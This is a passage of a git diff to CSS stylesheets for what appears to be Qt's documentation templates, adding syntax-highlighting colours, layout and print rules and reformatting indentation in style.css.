+ color: #66666E;
+ }
+
+ div.float-left
+ {
+ float: left; margin-right: 2em
+ }
+ div.float-right
+ {
+ float: right; margin-left: 2em
+ }
+
+ span.comment
+ {
+ color: #008B00;
+ }
+ span.string, span.char
+ {
+ color: #000084;
+ }
+ span.number
+ {
+ color: #a46200;
+ }
+ span.operator
+ {
+ color: #202020;
+ }
+ span.keyword
+ {
+ color: #840000;
+ }
+ span.name
+ {
+ color: black
+ }
+ span.type
+ {
+ font-weight: bold
+ }
+ span.type a:visited
+ {
+ color: #0F5300;
+ }
+ span.preprocessor
+ {
+ color: #404040
+ }
+/* end basic elements */
+
+/* font style elements */
+ .heading
+ {
+ font-weight: bold;
+ font-size: 125%;
+ }
+ .subtitle
+ {
+ font-size: 110%
+ }
+ .small-subtitle
+ {
+ font-size: 100%
+ }
+ .red
+ {
+ color:red;
+ }
+/* end font style elements */
+
+/* global settings*/
+ .header, .footer
+ {
+ display: block;
+ clear: both;
+ overflow: hidden;
+ }
+/* end global settings*/
+
+/* header elements */
+ .header .qtref
+ {
+ color: #00732F;
+ font-weight: bold;
+ font-size: 130%;
+ }
+
+ .header .content
+ {
+ margin-bottom: 0.5em
+ }
+
+ .naviNextPrevious
+ {
+ display: none
+ }
+ .header .breadcrumb
+ {
+ font-size: 90%;
+ padding: 0.5em 0 0.5em 1em;
+ margin: 0;
+ background-color: #fafafa;
+ height: 1.35em;
+ border-bottom: 1px solid #d1d1d1;
+ }
+
+ .header .breadcrumb ul
+ {
+ margin: 0;
+ padding: 0;
+ }
+
+ .header .content
+ {
+ word-wrap: break-word;
+ }
+
+ .header .breadcrumb ul li
+ {
+ float: left;
+ background: url(../images/breadcrumb.png) no-repeat 0 3px;
+ padding-left: 1.5em;
+ margin-left: 1.5em;
+ }
+
+ .header .breadcrumb ul li.last
+ {
+ font-weight: normal;
+ }
+
+ .header .breadcrumb ul li a
+ {
+ color: #00732F;
+ }
+
+ .header .breadcrumb ul li.first
+ {
+ background-image: none;
+ padding-left: 0;
+ margin-left: 0;
+ }
+
+ .header .content ol li {
+ background: none;
+ margin-bottom: 1.0em;
+ margin-left: 1.2em;
+ padding-left: 0
+ }
+
+ .header .content li
+ {
+ background: url(../images/bullet_sq.png) no-repeat 0 5px;
+ margin-bottom: 1em;
+ padding-left: 1.2em;
+ }
+
+/* end header elements */
+
+/* content elements */
+ .content h1
+ {
+ font-weight: bold;
+ font-size: 150%
+ }
+
+ .content h2
+ {
+ font-weight: bold;
+ font-size: 135%;
+ width: 100%;
+ }
+ .content h3
+ {
+ font-weight: bold;
+ font-size: 120%;
+ width: 100%;
+ }
+ .content table p
+ {
+ margin: 0
+ }
+ .content ul
+ {
+ padding-left: 2.5em;
+ }
+ .content li
+ {
+ padding-top: 0.25em;
+ padding-bottom: 0.25em;
+ }
+ .content ul img {
+ vertical-align: middle;
+ }
+
+ .content a:visited
+ {
+ color: #4c0033;
+ text-decoration: none;
+ }
+
+ .content a:visited:hover
+ {
+ color: #4c0033;
+ text-decoration: underline;
+ }
+
+ a:hover
+ {
+ color: #4c0033;
+ text-decoration: underline;
+ }
+ descr p a
+ {
+ text-decoration: underline;
+ }
+
+ .descr p a:visited
+ {
+ text-decoration: underline;
+ }
+
+ .alphaChar{
+ width:95%;
+ background-color:#F6F6F6;
+ border:1px solid #E6E6E6;
+ -moz-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ font-size:12pt;
+ padding-left:10px;
+ margin-top:10px;
+ margin-bottom:10px;
+ }
+ .flowList{
+ /*vertical-align:top;*/
+ /*margin:20px auto;*/
+
+ column-count:3;
+ -webkit-column-count:3;
+ -moz-column-count:3;
+/*
+ column-width:100%;
+ -webkit-column-width:200px;
+ -col-column-width:200px;
+*/
+ column-gap:41px;
+ -webkit-column-gap:41px;
+ -moz-column-gap:41px;
+
+ column-rule: 1px dashed #ccc;
+ -webkit-column-rule: 1px dashed #ccc;
+ -moz-column-rule: 1px dashed #ccc;
+ }
+
+ .flowList dl{
+ }
+ .flowList dd{
+ /*display:inline-block;*/
+ margin-left:10px;
+ min-width:250px;
+ line-height: 1.5;
+ min-width:100%;
+ min-height:15px;
+ }
+
+ .flowList dd a{
+ }
+
+ .content .flowList p{
+ padding:0px;
+ }
+
+ .content .alignedsummary
+ {
+ margin: 15px;
+ }
+
+
+ .qmltype
+ {
+ text-align: center;
+ font-size: 120%;
+ }
+ .qmlreadonly
+ {
+ padding-left: 5px;
+ float: right;
+ color: #254117;
+ }
+
+ .qmldefault
+ {
+ padding-left: 5px;
+ float: right;
+ color: red;
+ }
+
+ .qmldoc
+ {
+ }
+
+ .generic .alphaChar{
+ margin-top:5px;
+ }
+
+ .generic .odd .alphaChar{
+ background-color: #F6F6F6;
+ }
+
+ .generic .even .alphaChar{
+ background-color: #FFFFFF;
+ }
+
+ .memItemRight{
+ padding: 0.25em 1.5em 0.25em 0;
+ }
+ .highlightedCode
+ {
+ margin: 1.0em;
+ }
+ .annotated td {
+ padding: 0.25em 0.5em 0.25em 0.5em;
+ }
+
+ .header .content .toc ul
+ {
+ padding-left: 0px;
+ }
+
+ .content .toc h3 {
+ border-bottom: 0px;
+ margin-top: 0px;
+ }
+
+ .content .toc h3 a:hover {
+ color: #00732F;
+ text-decoration: none;
+ }
+
+ .content .toc .level2
+ {
+ margin-left: 1.5em;
+ }
+
+ .content .toc .level3
+ {
+ margin-left: 3.0em;
+ }
+
+ .content ul li
+ {
+ background: url(../images/bullet_sq.png) no-repeat 0 0.7em;
+ padding-left: 1em
+ }
+
+ .content .toc li
+ {
+ background: url(../images/bullet_dn.png) no-repeat 0 5px;
+ padding-left: 1em
+ }
+
+ .relpage
+ {
+ -moz-border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
+ border: 1px solid #DDDDDD;
+ padding: 25px 25px;
+ clear: both;
+ }
+ .relpage ul
+ {
+ float: none;
+ padding: 1.5em;
+ }
+
+ h3.fn, span.fn
+ {
+ -moz-border-radius:7px 7px 7px 7px;
+ -webkit-border-radius:7px 7px 7px 7px;
+ border-radius:7px 7px 7px 7px;
+ background-color: #F6F6F6;
+ border-width: 1px;
+ border-style: solid;
+ border-color: #E6E6E6;
+ font-weight: bold;
+ word-spacing:3px;
+ padding:3px 5px;
+ }
+
+ .functionIndex {
+ font-size:12pt;
+ word-spacing:10px;
+ margin-bottom:10px;
+ background-color: #F6F6F6;
+ border-width: 1px;
+ border-style: solid;
+ border-color: #E6E6E6;
+ -moz-border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
+ width:100%;
+ }
+
+ .centerAlign
+ {
+ text-align:center;
+ }
+
+ .rightAlign
+ {
+ text-align:right;
+ }
+
+ .leftAlign
+ {
+ text-align:left;
+ }
+
+ .topAlign{
+ vertical-align:top
+ }
+
+ .functionIndex a{
+ display:inline-block;
+ }
+
+/* end content elements */
+/* footer elements */
+
+ .footer
+ {
+ color: #393735;
+ font-size: 0.75em;
+ text-align: center;
+ padding-top: 1.5em;
+ padding-bottom: 1em;
+ background-color: #E6E7E8;
+ margin: 0;
+ }
+ .footer p
+ {
+ margin: 0.25em
+ }
+ .small
+ {
+ font-size: 0.5em;
+ }
+/* end footer elements */
+
+ .item {
+ float: left;
+ position: relative;
+ width: 100%;
+ overflow: hidden;
+ }
+
+
+ .item .primary {
+ margin-right: 220px;
+ position: relative;
+ }
+
+ .item hr {
+ margin-left: -220px;
+ }
+
+ .item .secondary {
+ float: right;
+ width: 200px;
+ position: relative;
+ }
+
+ .item .cols {
+ clear: both;
+ display: block;
+ }
+
+ .item .cols .col {
+ float: left;
+ margin-left: 1.5%;
+ }
+
+ .item .cols .col.first {
+ margin-left: 0;
+ }
+
+ .item .cols.two .col {
+ width: 45%;
+ }
+
+ .item .box {
+ margin: 0 0 10px 0;
+ }
+
+ .item .box h3 {
+ margin: 0 0 10px 0;
+ }
+
+ .cols.unclear {
+ clear:none;
+ }
+}
+
+/* end of screen media */
+
+/* start of print media */
+
+@media print
+{
+ input, textarea, .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft, #feedbackBox, #blurpage, .toc, .breadcrumb, .toolbar, .floatingResult
+ {
+ display: none;
+ background: none;
+ }
+ .content
+ {
+ background: none;
+ display: block;
+ width: 100%; margin: 0; float: none;
+ }
+}
+/* end of print media */
diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
index 16bc9ed..df2729c 100755
--- a/doc/src/template/style/style.css
+++ b/doc/src/template/style/style.css
@@ -1,8 +1,8 @@
@media screen
{
-
+
/* basic elements */
- html
+ html
{
color: #000000;
background: #FFFFFF;
@@ -20,7 +20,7 @@
fieldset, img
{
border: 0;
- max-width:100%;
+ max-width:100%;
}
address, caption, cite, code, dfn, em, strong, th, var, optgroup
{
@@ -60,10 +60,10 @@
{
vertical-align: baseline;
}
- tt, .qmlreadonly span, .qmldefault span
- {
- word-spacing:5px;
- }
+ tt, .qmlreadonly span, .qmldefault span
+ {
+ word-spacing:5px;
+ }
legend
{
color: #000000;
@@ -88,7 +88,7 @@
font-style: italic;
}
- /* adding Qt theme */
+ /* adding Qt theme */
html
{
/* background-color: #e5e5e5;*/
@@ -117,9 +117,9 @@
pre
{
border: 1px solid #DDDDDD;
- -moz-border-radius: 7px 7px 7px 7px;
- -webkit-border-radius: 7px 7px 7px 7px;
- border-radius: 7px 7px 7px 7px;
+ -moz-border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
margin: 0 20px 10px 10px;
padding: 20px 15px 20px 20px;
overflow-x: auto;
@@ -135,14 +135,14 @@
font-size: 11px;
margin-bottom: 25px;
}
- pre.highlightedCode {
- display: block;
- overflow:hidden;
- }
+ pre.highlightedCode {
+ display: block;
+ overflow:hidden;
+ }
thead
{
margin-top: 5px;
- font:600 12px/1.2 Arial;
+ font:600 12px/1.2 Arial;
}
th
{
@@ -155,11 +155,11 @@
padding: 3px 15px 3px 20px;
}
tr.odd td:hover, tr.even td:hover {}
-
- td.rightAlign
- {
+
+ td.rightAlign
+ {
padding: 3px 5px 3px 10px;
- }
+ }
table tr.odd
{
border-left: 1px solid #E6E6E6;
@@ -176,18 +176,52 @@
{
/* background-color: #E6E6E6;*/ /* disabled until further notice */
}
-
+
+ div.float-left
+ {
+ float: left; margin-right: 2em
+ }
+ div.float-right
+ {
+ float: right; margin-left: 2em
+ }
+
span.comment
{
- color: #8B0000;
- font-style: italic;
+ color: #008B00;
}
span.string, span.char
{
- color: #254117;
+ color: #000084;
+ }
+ span.number
+ {
+ color: #a46200;
+ }
+ span.operator
+ {
+ color: #202020;
+ }
+ span.keyword
+ {
+ color: #840000;
+ }
+ span.name
+ {
+ color: black
+ }
+ span.type
+ {
+ font-weight: bold
+ }
+ span.type a:visited
+ {
+ color: #0F5300;
+ }
+ span.preprocessor
+ {
+ color: #404040
}
-
-
/* end basic elements */
/* font style elements */
@@ -204,10 +238,15 @@
{
font-size: 13px;
}
- .red
- {
- color:red;
- }
+ .red
+ {
+ color:red;
+ }
+ .figCaption{
+ color:#363534;
+ font:italic 11px/1.2 Verdana;
+ padding-top:0;
+ }
/* end font style elements */
/* global settings*/
@@ -231,8 +270,8 @@
clear: both;
visibility: hidden;
}
-
/* end global settings*/
+
/* header elements */
.header
{
@@ -266,12 +305,12 @@
color: #4c0033;
text-decoration: none;
}
- .content a:visited:hover
+ .content a:visited:hover
{
color: #4c0033;
text-decoration: underline;
}
-
+
#nav-topright
{
height: 70px;
@@ -317,7 +356,6 @@
background-position: -2px -117px;
}
-
#nav-topright li.nav-topright-dev a
{
width: 30px;
@@ -392,7 +430,6 @@
overflow: hidden;
}
-
.shortCut-topleft-inactive
{
padding-left: 3px;
@@ -404,10 +441,10 @@
{
font-variant: normal;
}
- .shortCut-topleft-inactive span a:hover, .shortCut-topleft-active a:hover
- {
- text-decoration:none;
- }
+ .shortCut-topleft-inactive span a:hover, .shortCut-topleft-active a:hover
+ {
+ text-decoration:none;
+ }
#shortCut
{
padding-top: 10px;
@@ -436,10 +473,8 @@
{
color: #44a51c;
}
+/* end header elements */
-
-
-/* end header elements */
/* content and sidebar elements */
.wrapper
{
@@ -453,9 +488,6 @@
overflow: hidden;
}
-
-
-
.wrapper .hd span
{
height: 15px;
@@ -469,9 +501,6 @@
position: relative;
}
-
-
-
.wrapper .ft
{
padding-left: 216px;
@@ -480,9 +509,6 @@
overflow: hidden;
}
-
-
-
.wrapper .ft span
{
height: 15px;
@@ -490,17 +516,13 @@
background: url(../images/page.png) no-repeat 100% -60px;
overflow: hidden;
}
- .navTop{
- float:right;
- display:block;
- padding-right:15px;
-
-
- }
-
+ .navTop{
+ float:right;
+ display:block;
+ padding-right:15px;
+ }
+/* end content and sidebar elements */
-
-/* end content and sidebar elements */
/* sidebar elements */
.sidebar
{
@@ -510,11 +532,6 @@
font-size: 11px;
}
-
-
-
-
-
.sidebar .searchlabel
{
padding: 0 0 2px 17px;
@@ -529,9 +546,9 @@
.sidebar .search form
{
background: url(../images/sprites-combined.png) no-repeat -6px -348px;
- height:21px;
- padding:2px 0 0 5px;
- width:167px;
+ height:21px;
+ padding:2px 0 0 5px;
+ width:167px;
}
.sidebar .search form input#pageType
@@ -589,10 +606,10 @@
.sidebar .box .list
{
display: block;
- max-height:200px;
- min-height:120px;
- overflow-y:auto;
- overflow-x:none;
+ max-height:200px;
+ min-height:120px;
+ overflow-y:auto;
+ overflow-x:none;
}
.list li a:hover
{
@@ -600,9 +617,9 @@
}
.sidebar .box ul
{
- padding-bottom:5px;
- padding-left:10px;
- padding-top:5px;
+ padding-bottom:5px;
+ padding-left:10px;
+ padding-top:5px;
}
.sidebar .box ul li
{
@@ -614,153 +631,150 @@
{
background: url(../images/box_bg.png) repeat-x 0 bottom;
}
- .sidebar .box ul li.noMatch
+ .sidebar .box ul li.noMatch
{
background: none;
- color:#FF2A00;
- font-style:italic;
+ color:#FF2A00;
+ font-style:italic;
}
- .sidebar .box ul li.hit
+ .sidebar .box ul li.hit
{
background: none;
- color:#AAD2F0;
- font-style:italic;
- }
- .sidebar .search form input.loading
- {
- background:url("../images/spinner.gif") no-repeat scroll right center transparent;
- }
-
- .sidebar .search form {
- _height: 23px;
- _width: 169px;
- }
-
- #resultdialog {
- display: none;
- position: absolute;
- *left: 30px;
- _left: 0;
- *top: 35px;
- _top: 30px;
- _zoom: 1;
- background-color: #fff;
- border: 1px solid #666;
- z-index: 4;
- margin-top: 5px;
- _margin: 0 0 0 -20px;
- padding: 10px;
- width: 30%;
- _width: 196px;
- height: 250px;
- overflow: auto;
- -webkit-border-radius: .5em;
- -moz-border-radius: .5em;
- border-radius: .5em;
- -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
- -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
- box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
- font-size: 11px;
- }
-
- #resultdialog a
- {
+ color:#AAD2F0;
+ font-style:italic;
+ }
+ .sidebar .search form input.loading
+ {
+ background:url("../images/spinner.gif") no-repeat scroll right center transparent;
+ }
+
+ .sidebar .search form {
+ _height: 23px;
+ _width: 169px;
+ }
+
+ #resultdialog {
+ display: none;
+ position: absolute;
+ *left: 30px;
+ _left: 0;
+ *top: 35px;
+ _top: 30px;
+ _zoom: 1;
+ background-color: #fff;
+ border: 1px solid #666;
+ z-index: 4;
+ margin-top: 5px;
+ _margin: 0 0 0 -20px;
+ padding: 10px;
+ width: 30%;
+ _width: 196px;
+ height: 250px;
+ overflow: auto;
+ -webkit-border-radius: .5em;
+ -moz-border-radius: .5em;
+ border-radius: .5em;
+ -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
+ -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
+ box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
+ font-size: 11px;
+ }
+
+ #resultdialog a
+ {
color: #00732f;
- }
-
- #resultdialog.active {
- display: block;
- }
-
- .narrow #resultdialog {
- width: 60%;
- _width: 360px;
- }
-
- .narrow #resultdialog.active {
- right: 10px;
- *left: auto;
- _left: auto;
- _right: -20px;
- }
-
-
- #resultdialog #resultclose {
- float: right;
- }
-
- #resultdialog p,
- #resultdialog ul {
- clear: both;
- margin: 3px 0;
- }
-
- p#searchcount span {
- display: none;
- }
-
- p#searchcount.all span#resultcount,
- p#searchcount.api span#apicount,
- p#searchcount.article span#articlecount,
- p#searchcount.example span#examplecount {
- display: inline;
- }
-
- #resultlist li {
- display: none;
- }
-
- #resultlist.api li.api,
- #resultlist.article li.article,
- #resultlist.example li.example,
- #resultlist.all li {
- display: block;
- }
-
- #resultlinks.api a#showapiresults,
- #resultlinks.api a#showapiresults:hover,
- #resultlinks.article a#showarticleresults,
- #resultlinks.article a#showarticleresults:hover,
- #resultlinks.example a#showexampleresults,
- #resultlinks.example a#showexampleresults:hover,
- #resultlinks.all a#showallresults,
- #resultlinks.all a#showallresults:hover {
- color: #B0ADAB;
- }
- .floatingResult{
- z-index:1;
- position:relative;
- padding-top:0px;
- background-color:white;
- border:solid 1px black;
- height:250px;
- width:600px;
- overflow-x:hidden;
- overflow-y:auto;
- }
-
- .floatingResult:hover{
- display:block;
- }
- .floatingResult:hover{
- }
-
+ }
+
+ #resultdialog.active {
+ display: block;
+ }
+
+ .narrow #resultdialog {
+ width: 60%;
+ _width: 360px;
+ }
+
+ .narrow #resultdialog.active {
+ right: 10px;
+ *left: auto;
+ _left: auto;
+ _right: -20px;
+ }
+
+
+ #resultdialog #resultclose {
+ float: right;
+ }
+
+ #resultdialog p,
+ #resultdialog ul {
+ clear: both;
+ margin: 3px 0;
+ }
+
+ p#searchcount span {
+ display: none;
+ }
+
+ p#searchcount.all span#resultcount,
+ p#searchcount.api span#apicount,
+ p#searchcount.article span#articlecount,
+ p#searchcount.example span#examplecount {
+ display: inline;
+ }
+
+ #resultlist li {
+ display: none;
+ }
+
+ #resultlist.api li.api,
+ #resultlist.article li.article,
+ #resultlist.example li.example,
+ #resultlist.all li {
+ display: block;
+ }
+
+ #resultlinks.api a#showapiresults,
+ #resultlinks.api a#showapiresults:hover,
+ #resultlinks.article a#showarticleresults,
+ #resultlinks.article a#showarticleresults:hover,
+ #resultlinks.example a#showexampleresults,
+ #resultlinks.example a#showexampleresults:hover,
+ #resultlinks.all a#showallresults,
+ #resultlinks.all a#showallresults:hover {
+ color: #B0ADAB;
+ }
+ .floatingResult{
+ z-index:1;
+ position:relative;
+ padding-top:0px;
+ background-color:white;
+ border:solid 1px black;
+ height:250px;
+ width:600px;
+ overflow-x:hidden;
+ overflow-y:auto;
+ }
+
+ .floatingResult:hover{
+ display:block;
+ }
+ .floatingResult:hover{
+ }
/* end sidebar elements */
+
/* content elements */
.wrap
{
margin: 0 5px 0 208px;
- overflow: visible;
+ overflow: visible;
}
-
-
-
.wrap .toolbar
{
background-color: #fafafa;
border-bottom: 1px solid #d1d1d1;
- height: 20px;
+ height: 20px;
position: relative;
}
.wrap .toolbar .toolblock
@@ -842,11 +856,10 @@
color: #00732F;
}
-
.wrap .content
{
padding: 30px;
- word-wrap:break-word;
+ word-wrap:break-word;
}
.wrap .breadcrumb ul
@@ -875,32 +888,29 @@
margin-left: 0;
}
+ .wrap .content ol li {
+ background:none;
+ font:normal 10pt/1.2 Verdana;
-
-
- .wrap .content ol li {
- background:none;
- font:normal 10pt/1.2 Verdana;
-
- margin-bottom:10px;
- margin-left:12px;
- /*list-style-type:disc;*/
- }
+ margin-bottom:10px;
+ margin-left:12px;
+ /*list-style-type:disc;*/
+ }
.wrap .content ol li
{
- background:none;
- margin-bottom: 10px;
- padding-left:0px;
- margin-left:52px;
+ background:none;
+ margin-bottom: 10px;
+ padding-left:0px;
+ margin-left:52px;
}
-
+
.wrap .content li
{
background: url(../images/bullet_sq.png) no-repeat 0 5px;
font: normal 400 10pt/1.2 Verdana;
- margin-bottom: 10px;
- padding-left:12px;
+ margin-bottom: 10px;
+ padding-left:12px;
}
.content li:hover {}
@@ -911,16 +921,16 @@
}
.wrap .content h2
{
- font:600 16px/1.2 Arial;
- margin-top:15px;
- width:100%;
+ font:600 16px/1.2 Arial;
+ margin-top:15px;
+ width:100%;
}
.wrap .content h3
{
font: bold 14px/1.2 Arial;
- font:600 16px/1.2 Arial;
- margin-top:15px;
- width:100%;
+ font:600 16px/1.2 Arial;
+ margin-top:15px;
+ width:100%;
}
.wrap .content p
{
@@ -930,25 +940,25 @@
.wrap .content table p
{
line-height: 20px;
- }
+ }
.wrap .content ul
{
padding-left: 25px;
padding-top: 10px;
}
- .wrap .content ul img {
- vertical-align:middle;
- }
+ .wrap .content ul img {
+ vertical-align:middle;
+ }
a:hover
{
color: #4c0033;
text-decoration: underline;
}
- descr p a
+ descr p a
{
text-decoration: underline;
}
-
+
.descr p a:visited
{
text-decoration: underline;
@@ -969,56 +979,56 @@
color: #00732F;
text-decoration: underline;
}
- .alphaChar{
- width:95%;
- background-color:#F6F6F6;
- border:1px solid #E6E6E6;
- -moz-border-radius: 7px 7px 7px 7px;
- border-radius: 7px 7px 7px 7px;
- -webkit-border-radius: 7px 7px 7px 7px;
- font-size:12pt;
- padding-left:10px;
- margin-top:10px;
- margin-bottom:10px;
- }
- .flowList{
- /*vertical-align:top;*/
- /*margin:20px auto;*/
-
- column-count:3;
- -webkit-column-count:3;
- -moz-column-count:3;
+ .alphaChar{
+ width:95%;
+ background-color:#F6F6F6;
+ border:1px solid #E6E6E6;
+ -moz-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ font-size:12pt;
+ padding-left:10px;
+ margin-top:10px;
+ margin-bottom:10px;
+ }
+ .flowList{
+ /*vertical-align:top;*/
+ /*margin:20px auto;*/
+
+ column-count:3;
+ -webkit-column-count:3;
+ -moz-column-count:3;
/*
- column-width:100%;
- -webkit-column-width:200px;
- -col-column-width:200px;
+ column-width:100%;
+ -webkit-column-width:200px;
+ -col-column-width:200px;
*/
- column-gap:41px;
- -webkit-column-gap:41px;
- -moz-column-gap:41px;
-
- column-rule: 1px dashed #ccc;
- -webkit-column-rule: 1px dashed #ccc;
- -moz-column-rule: 1px dashed #ccc;
- }
-
- .flowList dl{
- }
- .flowList dd{
- /*display:inline-block;*/
- margin-left:10px;
- min-width:250px;
- line-height: 1.5;
- min-width:100%;
- min-height:15px;
- }
-
- .flowList dd a{
- }
-
- .wrap .content .flowList p{
- padding:0px;
- }
+ column-gap:41px;
+ -webkit-column-gap:41px;
+ -moz-column-gap:41px;
+
+ column-rule: 1px dashed #ccc;
+ -webkit-column-rule: 1px dashed #ccc;
+ -moz-column-rule: 1px dashed #ccc;
+ }
+
+ .flowList dl{
+ }
+ .flowList dd{
+ /*display:inline-block;*/
+ margin-left:10px;
+ min-width:250px;
+ line-height: 1.5;
+ min-width:100%;
+ min-height:15px;
+ }
+
+ .flowList dd a{
+ }
+
+ .wrap .content .flowList p{
+ padding:0px;
+ }
.content .alignedsummary
{
@@ -1068,7 +1078,7 @@
background-color: #e6e7e8;
z-index: 4;
}
- #feedcloseX
+ #feedcloseX
{
display: inline;
padding: 5px 5px 0 0;
@@ -1086,25 +1096,25 @@
height: 120px;
margin: 0px 25px 10px 15px;
}
- #noteHead
- {
- font-weight:bold;
- padding:10px 10px 10px 20px;
- }
+ #noteHead
+ {
+ font-weight:bold;
+ padding:10px 10px 10px 20px;
+ }
#feedsubmit
{
display: inline;
float: right;
margin: 4px 32px 0 0;
}
-
- .note
- {
- font-size:7pt;
- padding-bottom:3px;
- padding-left:20px;
- }
-
+
+ .note
+ {
+ font-size:7pt;
+ padding-bottom:3px;
+ padding-left:20px;
+ }
+
#blurpage
{
display: none;
@@ -1136,67 +1146,67 @@
font: bold 12px/1.2 Arial;
}
- .generic{
- }
- .generic td{
- /* padding:5px;*/
- }
- .generic .alphaChar{
- margin-top:5px;
- }
-
- .generic .odd .alphaChar{
+ .generic{
+ }
+ .generic td{
+ /* padding:5px;*/
+ }
+ .generic .alphaChar{
+ margin-top:5px;
+ }
+
+ .generic .odd .alphaChar{
background-color: #F6F6F6;
- }
-
- .generic .even .alphaChar{
+ }
+
+ .generic .even .alphaChar{
background-color: #FFFFFF;
- }
-
- .alignedsummary{}
- .propsummary{}
- .memItemLeft{}
- .memItemRight{
- padding:3px 15px 3px 0;
- }
- .bottomAlign{}
- .highlightedCode
- {
- margin:10px;
- }
- .LegaleseLeft{}
- .valuelist{}
- .annotated td{
- padding: 3px 5px 3px 5px;
- }
- .obsolete{}
- .compat{}
- .flags{}
- .qmlsummary{}
- .qmlitem{}
- .qmlproto{}
- .qmlname{}
- .qmlreadonly{}
- .qmldefault{}
- .qmldoc{}
- .qt-style{}
- .redFont{}
- code{}
-
+ }
+
+ .alignedsummary{}
+ .propsummary{}
+ .memItemLeft{}
+ .memItemRight{
+ padding:3px 15px 3px 0;
+ }
+ .bottomAlign{}
+ .highlightedCode
+ {
+ margin:10px;
+ }
+ .LegaleseLeft{}
+ .valuelist{}
+ .annotated td{
+ padding: 3px 5px 3px 5px;
+ }
+ .obsolete{}
+ .compat{}
+ .flags{}
+ .qmlsummary{}
+ .qmlitem{}
+ .qmlproto{}
+ .qmlname{}
+ .qmlreadonly{}
+ .qmldefault{}
+ .qmldoc{}
+ .qt-style{}
+ .redFont{}
+ code{}
+
.wrap .content .toc ul
{
padding-left: 0px;
}
- .wrap .content .toc h3{
- border-bottom:0px;
- margin-top:0px;
- }
-
- .wrap .content .toc h3 a:hover{
- color:#00732F;
- text-decoration:none;
- }
+ .wrap .content .toc h3{
+ border-bottom:0px;
+ margin-top:0px;
+ }
+
+ .wrap .content .toc h3 a:hover{
+ color:#00732F;
+ text-decoration:none;
+ }
.wrap .content .toc .level2
@@ -1234,60 +1244,58 @@
}
h3.fn, span.fn
{
- -moz-border-radius:7px 7px 7px 7px;
- -webkit-border-radius:7px 7px 7px 7px;
- border-radius:7px 7px 7px 7px;
+ -moz-border-radius:7px 7px 7px 7px;
+ -webkit-border-radius:7px 7px 7px 7px;
+ border-radius:7px 7px 7px 7px;
background-color: #F6F6F6;
border-width: 1px;
border-style: solid;
border-color: #E6E6E6;
font-weight: bold;
- word-spacing:3px;
- padding:3px 5px;
- }
-
- .functionIndex {
- font-size:12pt;
- word-spacing:10px;
- margin-bottom:10px;
- background-color: #F6F6F6;
- border-width: 1px;
- border-style: solid;
- border-color: #E6E6E6;
- -moz-border-radius: 7px 7px 7px 7px;
- -webkit-border-radius: 7px 7px 7px 7px;
- border-radius: 7px 7px 7px 7px;
- width:100%;
- }
-
- .centerAlign
- {
- text-align:center;
- }
-
- .rightAlign
- {
- text-align:right;
- }
-
-
- .leftAlign
- {
- text-align:left;
- }
-
- .topAlign{
- vertical-align:top
- }
-
- .functionIndex a{
- display:inline-block;
- }
-
+ word-spacing:3px;
+ padding:3px 5px;
+ }
+
+ .functionIndex {
+ font-size:12pt;
+ word-spacing:10px;
+ margin-bottom:10px;
+ background-color: #F6F6F6;
+ border-width: 1px;
+ border-style: solid;
+ border-color: #E6E6E6;
+ -moz-border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
+ width:100%;
+ }
+
+ .centerAlign
+ {
+ text-align:center;
+ }
+
+ .rightAlign
+ {
+ text-align:right;
+ }
+
+ .leftAlign
+ {
+ text-align:left;
+ }
+
+ .topAlign{
+ vertical-align:top
+ }
+
+ .functionIndex a{
+ display:inline-block;
+ }
/* end content elements */
-/* footer elements */
- .footer
+/* footer elements */
+ .footer
{
min-height: 100px;
color: #797775;
@@ -1297,20 +1305,17 @@
background-color: #E6E7E8;
margin: 0;
}
- .small
+ .small
{
font: normal 9px/1 Verdana;
- }
+ }
/* end footer elements */
-
-
-
/* start index box */
.indexbox
{
width: 100%;
- display:inline-block;
+ display:inline-block;
}
.indexboxcont
@@ -1330,26 +1335,24 @@
.indexboxcont .section
{
display: inline-block;
- width: 49%;
+ width: 49%;
*width:42%;
_width:42%;
padding:0 2% 0 1%;
vertical-align:top;
-
-}
+ }
.indexboxcont .indexIcon
{
- width: 11%;
+ width: 11%;
*width:18%;
_width:18%;
overflow:hidden;
+ }
-}
-
-.indexboxcont .section {
- float: left;
-}
+ .indexboxcont .section {
+ float: left;
+ }
.indexboxcont .section p
{
@@ -1359,8 +1362,8 @@
.indexboxcont .sectionlist
{
display: inline-block;
- vertical-align:top;
- width: 32.5%;
+ vertical-align:top;
+ width: 32.5%;
padding: 0;
}
.indexboxcont .sectionlist ul
@@ -1389,17 +1392,16 @@
color: #00732f;
text-decoration: none;
}
-
- .indexbox .indexIcon {
- width: 11%;
- }
-
+ .indexbox .indexIcon {
+ width: 11%;
+ }
+
.indexbox .indexIcon span
{
display: block;
}
-
+
.indexbox.guide .indexIcon span
{
width: 96px;
@@ -1407,7 +1409,7 @@
background: url(../images/sprites-combined.png) no-repeat -5px -376px;
padding: 0;
}
-
+
.indexbox.tools .indexIcon span
{
width: 115px;
@@ -1423,56 +1425,55 @@
clear: both;
visibility: hidden;
}
-
+
/* start of creator spec*/
- .creator
- {
- margin-left:0px;
- margin-right:0px;
- padding-left:0px;
- padding-right:0px;
- }
- .creator .wrap .content ol li {
- list-style-type:decimal;
-
- }
+ .creator
+ {
+ margin-left:0px;
+ margin-right:0px;
+ padding-left:0px;
+ padding-right:0px;
+ }
+ .creator .wrap .content ol li {
+ list-style-type:decimal;
+ }
